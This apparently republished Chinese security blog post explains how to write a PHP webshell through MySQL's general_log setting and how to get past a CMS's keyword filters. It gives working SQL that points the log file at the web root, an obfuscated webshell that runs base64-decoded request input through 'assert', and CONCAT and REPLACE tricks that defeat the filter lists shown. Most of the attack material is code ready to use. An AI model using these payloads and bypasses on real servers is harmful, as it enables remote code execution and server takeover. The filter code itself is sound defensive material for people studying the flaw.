网站首页

人工智能P2P分享搜索全网发布信息网站地图标签大全

当前位置:诺佳网 > 电子/半导体 > 嵌入式技术 >

SQL语句利用日志写shell及相关绕过

时间:2023-02-03 17:32

人气:

作者:admin

标签: MySQL  日志  Bypass  Shell  SQL 

导读:在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。...

0x01 基本原理

在能够写SQL语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行SQL注入来getshell或删库的方式行不通了。

但是如果MySQL是root用户启动的,那么可以进行如下利用:

show variables like '%general%';  #查看配置


set global general_log = on;  #开启general log模式


set global general_log_file = '/var/www/html/1.php';   #设置日志目录为shell地址


select ''  #写入shell

SQL查询免杀shell的语句(参考:SQL语句利用日志写shell):

SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

0x02 Bypass案例

这个案例虽然鸡肋,但是思路还可以。

过滤 .php

代码审计某CMS时,看到一处写SQL语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住SQL语句日志写shell:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

这里直接写上述的SQL语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。

这里只是针对字符串的检测,可以用字符串拼接的方式Bypass,这里可以使用SQL语句中的concat家族系列函数来实现字符串拼接来Bypass:

show variables like '%general%';   #查看配置


set global general_log = on;        #开启general log模式


set global general_log_file =CONCAT("/var/www/html/1.","php"); 


select '';   #写入shell

过滤 .php和concat

在这次报过的漏洞之后,CMS厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 检测到非法字符 “concat” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:

show variables like '%general%';   #查看配置


set global general_log = on;        #开启general log模式


set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); 


select '';   #写入shell

过滤 .php、concat和replace

CMS厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:

if(stristr($sql, 'outfile')){
    $str = 'ERROR : 检测到非法字符 “outfile”!';
    break;
}
if(stristr($sql, 'dumpfile')){
    $str = 'ERROR : 检测到非法字符 “dumpfile”!';
    break;
}
if(stristr($sql, '.php')){
    $str = 'ERROR : 检测到非法字符 “.php” !';
    break;
}
if(stristr($sql, 'concat')){
    $str = 'ERROR : 检测到非法字符 “concat” !';
    break;
}
if(stripos($sql, 'replace')){
    $str = 'ERROR : 检测到非法字符 “replace” !';
    break;
}
if(preg_match("/^drop(.*)database/i", $sql)){
    $str = 'ERROR : 不允许删除数据库!';
    break;
}

字符串拼接和替换都不能成功进行利用了,还有啥办法不?

当然还有新的Bypass方法哈哈。

作者:Mi1k7ea

菜鸟学安全

温馨提示:以上内容整理于网络,仅供参考,如果对您有帮助,留下您的阅读感言吧!
相关阅读
本类排行
相关标签
本类推荐

CPU | 内存 | 硬盘 | 显卡 | 显示器 | 主板 | 电源 | 键鼠 | 网站地图

Copyright © 2025-2035 诺佳网 版权所有 备案号:赣ICP备2025066733号
本站资料均来源互联网收集整理,作品版权归作者所有,如果侵犯了您的版权,请跟我们联系。

关注微信